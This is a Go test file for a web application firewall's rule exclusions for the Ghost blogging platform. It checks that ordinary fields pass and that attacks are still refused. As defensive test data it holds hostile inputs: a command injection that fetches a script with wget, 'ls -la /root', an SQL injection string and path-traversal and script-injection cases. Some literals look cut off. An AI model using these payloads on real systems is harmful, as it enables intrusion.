package coreruleset_test import ( "encoding/json" "net/http" "net/url" "slices" "strings" "testing" "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) // ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default. const ghostThreshold = 5 // Paths of Ghost's Admin API, Content API and members' API. const ( ghostPosts = "/ghost/api/admin/posts/" ghostPost = ghostPosts + "6af458a5d281b00001a59969/" ghostPage = "/ghost/api/admin/pages/6af45d34d281b00001a599a0/" ghostNewsletter = "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/" ghostMembers = "/ghost/api/admin/members/" ghostSettings = "/ghost/api/admin/settings/" ghostSession = "/ghost/api/admin/session/" ghostSetup = "/ghost/api/admin/authentication/setup/" ghostPasswordReset = "/ghost/api/admin/authentication/password_reset/" ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/" ghostMember = "/members/api/member/" ghostMagicLink = "/members/api/send-magic-link/" ) func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) { t.Parallel() crs := servingApps(t, map[string][]string{ giteaHost: {gitea}, otherHost: {"ghost"}, }) // A filter, which only Ghost's fixes let through. filter := get(ghostPosts + "?filter=tag:powershell") wantResult(t, crs, withHost(filter, otherHost), coreruleset.Result{}) wantResult(t, crs, withHost(filter, giteaHost), matched(932120)) } // ghostField is a field of a JSON body Ghost receives: the request that // sends it, and its body, with VALUE where the field's value goes. type ghostField struct{ method, target, body string } // with returns f's body holding value, escaped for JSON. func (f ghostField) with(t *testing.T, value string) string { t.Helper() quoted, err := json.Marshal(value) if err != nil { t.Fatal(err) } return strings.ReplaceAll( f.body, "VALUE", string(quoted[1:len(quoted)-1]), ) } // ghostTextFields hold plain text and skip the rules of 900353 and 900359. // //nolint:gochecknoglobals // a constant cannot be a list var ghostTextFields = []ghostField{ {http.MethodPut, ghostPost, `{"posts":[{"title":"VALUE"}]}`}, {http.MethodPut, ghostPost, `{"posts":[{"custom_excerpt":"VALUE"}]}`}, {http.MethodPut, ghostPost, `{"posts":[{"meta_title":"VALUE"}]}`}, {http.MethodPut, ghostPost, `{"posts":[{"og_description":"VALUE"}]}`}, { http.MethodPut, ghostPost, `{"posts":[{"tags":[{"id":"1"},{"name":"VALUE"}]}]}`, }, {http.MethodPost, ghostPosts, `{"posts":[{"tags":["VALUE"]}]}`}, { http.MethodPost, "/ghost/api/admin/pages/", `{"pages":[{"slug":"VALUE"}]}`, }, { http.MethodPost, "/ghost/api/admin/tags/", `{"tags":[{"name":"VALUE"}]}`, }, { http.MethodPost, "/ghost/api/admin/tags/", `{"tags":[{"description":"VALUE"}]}`, }, { http.MethodPost, "/ghost/api/admin/labels/", `{"labels":[{"name":"VALUE"}]}`, }, {http.MethodPost, ghostMembers, `{"members":[{"note":"VALUE"}]}`}, { http.MethodPost, ghostMembers, `{"members":[{"labels":[{"name":"VALUE"}]}]}`, }, {http.MethodPut, ghostNewsletter, `{"newsletters":[{"name":"VALUE"}]}`}, { http.MethodPut, ghostNewsletter, `{"newsletters":[{"sender_name":"VALUE"}]}`, }, { http.MethodPost, "/ghost/api/admin/snippets/", `{"snippets":[{"name":"VALUE"}]}`, }, {http.MethodPut, ghostMember, ghostMemberName}, } // ghostMemberName is the body that saves a member's name at /members/api/. const ghostMemberName = `{"name":"VALUE"}` // ghostAddressFields hold a member's or a staff user's email address and skip // 930120, 932120 and 932260. // //nolint:gochecknoglobals // a constant cannot be a list var ghostAddressFields = []ghostField{ { http.MethodPost, ghostMagicLink, `{"email":"VALUE","emailType":"signup"}`, }, {http.MethodPut, ghostMember, `{"email":"VALUE"}`}, {http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`}, {http.MethodPost, ghostSession, `{"username":"VALUE"}`}, {http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`}, { http.MethodPost, ghostPasswordReset, `{"password_reset":[{"email":"VALUE"}]}`, }, {http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`}, } // ghostCanonicalURLFields hold the canonical URL of a post or a page, and skip // 930120 and 932120, as url does. // //nolint:gochecknoglobals // a constant cannot be a list var ghostCanonicalURLFields = []ghostField{ {http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`}, {http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`}, {http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`}, } // ghostPostFields hold a post or a page, skip the rules of 900355, and take a // ` // ghostWidgetCard is ghostWidget as the editor saves it in lexical. const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` + `"html":"
"}],` + `"direction":null,"format":"","indent":0,"type":"root","version":1}}` // ghostAnalytics is code injection that loads analytics. const ghostAnalytics = `` func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) { t.Parallel() // An HTML card in a post, as the editor saves it, and as integrations // send it. wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false) for _, f := range ghostPostFields { wantGhostField(t, f, ghostWidget, false) } // Site code injection, saved in settings, and a post's or a page's own. for _, f := range ghostCodeFields { wantGhostField(t, f, ghostAnalytics, false) } } // ghostAttacks are an SQL injection and a path traversal, not escaped. // //nolint:gochecknoglobals // a constant cannot be a list var ghostAttacks = []string{injection, pathTraversal} // commandAfterASeparator is a shell command after a ";", not escaped. const commandAfterASeparator = "; wget http://example.com/x.sh" func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) { t.Parallel() for _, attack := range ghostAttacks { for _, f := range slices.Concat(ghostTextFields, ghostAddressFields, ghostCanonicalURLFields, ghostArticleFields, ghostCodeFields) { wantGhostField(t, f, attack, true) } for _, target := range ghostQueryFields { wantGhostQuery(t, target+url.QueryEscape(attack), true) } } // A script injection stays refused in every field that does not take a // `, true) } // An address keeps 932250, which refuses a listing of files. for _, f := range ghostAddressFields { wantGhostField(t, f, "ls -la /root", true) } } func TestGhostExclusionsAreNarrow(t *testing.T) { t.Parallel() crs := readingBodies(t) // The fields keep their rules off Ghost's paths, on Ghost's paths that // take no such field, and when the query has a field of the same name. const ( title = `{"posts":[{"title":"python3"}]}` article = `{"posts":[{"lexical":"

cat /etc/hosts

"}]}` name = `{"name":"python3"}` email = `{"email":"python3.dev@example.com"}` username = `{"username":"python3.dev@example.com"}` setupEmail = `{"setup":[{"email":"python3.dev@example.com"}]}` passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}` userEmail = `{"users":[{"email":"python3.dev@example.com"}]}` postURL = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}` pageURL = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}` ) for _, refused := range []struct{ target, body string }{ {"/api/posts/", title}, {"/ghost/api/content/posts/", title}, {ghostMember, title}, {ghostPosts + "?json.posts.0.title=x", title}, {ghostPosts, `{"posts":[{"visibility":"python3"}]}`}, {ghostPosts, name}, {ghostMember + "?json.name=x", name}, {"/api/posts/", article}, {"/ghost/api/admin/users/", `{"users":[{"bio":""}]}`}, {ghostPosts + "?json.posts.0.lexical=x", article}, {"/api/settings/", `{"settings":[{"value":""}]}`}, { ghostSettings + "?json.settings.0.value=x", `{"settings":[{"value":""}]}`, }, {"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`}, {"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`}, {ghostPosts, email}, {ghostMembers, email}, {ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`}, { ghostMembers + "?json.members.0.email=x", `{"members":[{"email":"python3.dev@example.com"}]}`, }, {ghostMember + "?json.email=x", email}, {ghostPosts, username}, {ghostSession + "?json.username=x", username}, {ghostPosts, setupEmail}, {ghostSetup + "?json.setup.0.email=x", setupEmail}, {ghostPosts, passwordResetEmail}, {ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail}, {ghostPosts, userEmail}, {ghostUser + "?json.users.0.email=x", userEmail}, {"/api/posts/1/", postURL}, {ghostMembers, postURL}, {ghostPage, postURL}, {ghostPost + "?json.posts.0.canonical_url=x", postURL}, {ghostPost, pageURL}, {ghostPage + "?json.pages.0.canonical_url=x", pageURL}, {ghostSession, `{"username":"x","pass":"' OR '1'='1"}`}, {"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`}, {"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`}, { "/ghost/api/admin/users/6af4570fd281b00001a59891/?json.users.0.profile_image=x", `{"users":[{"profile_image":null}]}`, }, } { r := request{http.MethodPut, refused.target, []string{jsonBody}} got, _ := inspectBody(t, crs, r, refused.body) if got.Score < ghostThreshold { t.Errorf( "PUT %s %s let through: %+v", refused.target, refused.body, got, ) } } } func TestGhostScriptExclusionIsNarrow(t *testing.T) { t.Parallel() crs := readingBodies(t) // A ` scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}` scriptInSettings = `{"settings":[{"value":"` + script + `"}]}` ) for _, refused := range []struct{ target, body string }{ {"/ghost/api/content/posts/", scriptInPost}, {ghostPosts + "?json.posts.0.lexical=x", scriptInPost}, {ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`}, {"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`}, {"/api/settings/", scriptInSettings}, {ghostSettings + "?json.settings.0.value=x", scriptInSettings}, } { r := request{http.MethodPut, refused.target, []string{jsonBody}} got, _ := inspectBody(t, crs, r, refused.body) if got.Score < ghostThreshold || !slices.Contains(got.RuleIDs, 941110) { t.Errorf( "PUT %s %s: %+v, want 941110 among them", refused.target, refused.body, got, ) } } } func TestGhostQueryExclusionsAreNarrow(t *testing.T) { t.Parallel() // The query fields keep their rules off Ghost's paths, and in other // query fields there. search skips its rules only on the Admin API, and // url only on the editor's lookup of embeds. for _, target := range []string{ "/api/posts/?filter=powershell", "/ghost/posts/?filter=powershell", "/ghost/api/admin/posts/?order=powershell", "/ghost/api/content/posts/?search=python3", "/members/api/member/?search=python3", "/ghost/api/admin/posts/?url=powershell", "/oembed/?url=powershell", } { wantGhostQuery(t, target, true) } } func TestGhostPasswordsPass(t *testing.T) { t.Parallel() // Ghost's password fields, each sent to the path that takes it. A dot // nests a field, as Ghost nests it in an array. fields := []passwordFields{ {ghostSession, jsonBody, []string{passwordKey}}, { "/ghost/api/admin/authentication/setup/", jsonBody, []string{"setup.0.password"}, }, { "/ghost/api/admin/authentication/invitation/", jsonBody, []string{"invitation.0.password"}, }, { "/ghost/api/admin/authentication/password_reset/", jsonBody, []string{ "password_reset.0.newPassword", "password_reset.0.ne2Password", }, }, { "/ghost/api/admin/users/password/", jsonBody, []string{ "password.0.oldPassword", "password.0.newPassword", "password.0.ne2Password", }, }, } wantPasswordFieldsPass(t, fields) }